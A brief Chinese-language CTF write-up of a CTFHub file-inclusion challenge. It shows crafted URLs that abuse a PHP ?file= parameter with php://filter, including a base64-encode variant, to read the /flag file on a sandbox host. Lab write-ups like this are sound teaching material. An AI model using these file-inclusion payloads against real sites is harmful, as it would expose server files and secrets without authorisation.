看源码:
试了试 php://input 发现用不了。
应该是条件不允许:
然后,题目叫做读取源码,所以想到可以使用 php://filter 。
然后构造 url
http://challenge-948e58fa50c767e6.sandbox.ctfhub.com:10080/?file=php://filter/resource=/flag
一开始就告诉了flag的位置,就可以直接构造url
或者可以用这个,让flag以base64加密的方式输出:
?file=php://filter/read=convert.base64-encode/resource=/flag